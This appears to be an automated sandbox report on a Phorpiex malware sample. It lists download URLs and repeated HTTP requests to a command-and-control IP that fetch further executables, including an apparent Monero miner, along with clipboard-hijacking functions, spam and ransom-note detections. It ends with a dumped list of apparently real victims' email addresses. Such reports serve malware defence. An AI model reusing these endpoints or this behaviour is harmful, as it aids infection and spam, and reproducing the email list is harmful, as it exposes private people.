Source: gEkl9O5tiu.exe	String found in binary or memory: http://twizt.net/newtpp.exeP0
Source: gEkl9O5tiu.exe, 00000001.00000002.379592341.000000000073C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/newtpp.exeV
Source: gEkl9O5tiu.exe	String found in binary or memory: http://twizt.net/peinstall.php
Source: gEkl9O5tiu.exe	String found in binary or memory: http://twizt.net/peinstall.php%temp%%s
Source: gEkl9O5tiu.exe, 00000001.00000002.379592341.0000000000714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/peinstall.php;O

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\newtpp[1].exe

Jump to behavior

Source: unknown

DNS traffic detected: queries for: twizt.net

Source: C:\Users\user\Desktop\gEkl9O5tiu.exe

Code function: 1_2_01091080 GetTickCount,srand,ExpandEnvironmentStringsW,rand,rand,wsprintfW,wsprintfW,InternetOpenW,Sleep,InternetOpenUrlW,CreateFileW,InternetReadFile,InternetReadFile,WriteFile,InternetReadFile,CloseHandle,Sleep,wsprintfW,DeleteFileW,Sleep,CloseHandle,wsprintfW,InternetCloseHandle,InternetCloseHandle,Sleep,rand,Sleep,rand,rand,wsprintfW,URLDownloadToFileW,wsprintfW,DeleteFileW,Sleep,

1_2_01091080

Source: global traffic	HTTP traffic detected: GET /newtpp.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: twizt.net
Source: global traffic	HTTP traffic detected: GET /peinstall.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36Host: twizt.net
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: icanhazip.com
Source: global traffic	HTTP traffic detected: GET /from/n.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /from/706.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66If-Modified-Since: Thu, 17 Aug 2023 12:32:50 GMTIf-None-Match: "64de1372-4700"
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66If-Modified-Since: Thu, 17 Aug 2023 12:32:50 GMTIf-None-Match: "64de1372-4700"
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66If-Modified-Since: Thu, 17 Aug 2023 12:32:50 GMTIf-None-Match: "64de1372-4700"
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /getxmr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /nxmr.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to modify clipboard data

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe	Code function: 4_2_00403480 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	4_2_00403480
Source: C:\Windows\ sysesvcmw.exe	Code function: 5_2_00403480 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	5_2_00403480
Source: C:\Windows\ sysesvcmw.exe	Code function: 6_2_00403480 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	6_2_00403480

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe

Code function: 4_2_004041A0 GetWindowLongW,SetClipboardViewer,SetWindowLongW,SetWindowLongW,SendMessageA,IsClipboardFormatAvailable,IsClipboardFormatAvailable,IsClipboardFormatAvailable,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,SendMessageA,RegisterRawInputDevices,ChangeClipboardChain,DefWindowProcA,

4_2_004041A0

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe

4_2_004041A0

Source: C:\Users\user\AppData\Local\Temp\2550821914.exe

Code function: 4_2_00403480 lstrlenW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,isalpha,isdigit,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,StrStrW,lstrlenA,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

4_2_00403480

Spam, unwanted Advertisements and Ransom Demands

Yara detected Phorpiex

Source: Yara match	File source: 4.0.2550821914.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.2550821914.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.399820477.0000000000410000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.379469431.0000000000410000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.370252775.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.381787142.00000000004D3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2550821914.exe PID: 680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysesvcmw.exe PID: 1384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysesvcmw.exe PID: 1840, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\2550821914.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\ sysesvcmw.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\newtpp[1].exe, type: DROPPED

Send many emails (e-Mail Spam)

Source: SMTP

Network traffic detected: Mail traffic on many different IPs 192

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\AppData\Local\Temp\1925824589.exe

File dropped: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\706[1].txt -> recoveryrr@gmail.comsnul78@mail.rubritosmorenomariana@gmail.comgabbsy01@gmail.comsaikamalgo@gmail.comfion_mei@hotmail.comitfundamentalsgcati@gmail.commashelembe@yahoo.comgabiebella@gmail.comailtonjipa@hotmail.comandrea.m_santos@hotmail.comvilatuaydan@hotmail.espgonza21@student.sisd.netluizns@oi.com.brjaylim513@hotmail.comenilzacunha@hotmail.compedrodias@midiasim.com.brnekronomantikator@gmail.comsofitapiero@homemail.comjsabolevski1@mc2school.orgclaudiacamilaaberastegui@hotmail.comguido.disalvoo@gmail.comjean.luc.laveran@gmail.comelvia.cazares@ttu.edukazvin18@yahoo.comfannyav1989@hotmail.comstore@comfortcandlecompany.comsebboulnois@hotmail.comtoubasindidi28@gmail.comhughesjewelry@hotmail.comalexias450@gmail.comladesha.danya@gmail.comkaransugar123@gmail.comsentosabina@gmail.commichaeltcraig@yahoo.comjmedioma7@gmail.comtrepound96@yahoo.comgozemotionz@live.dkaniqdh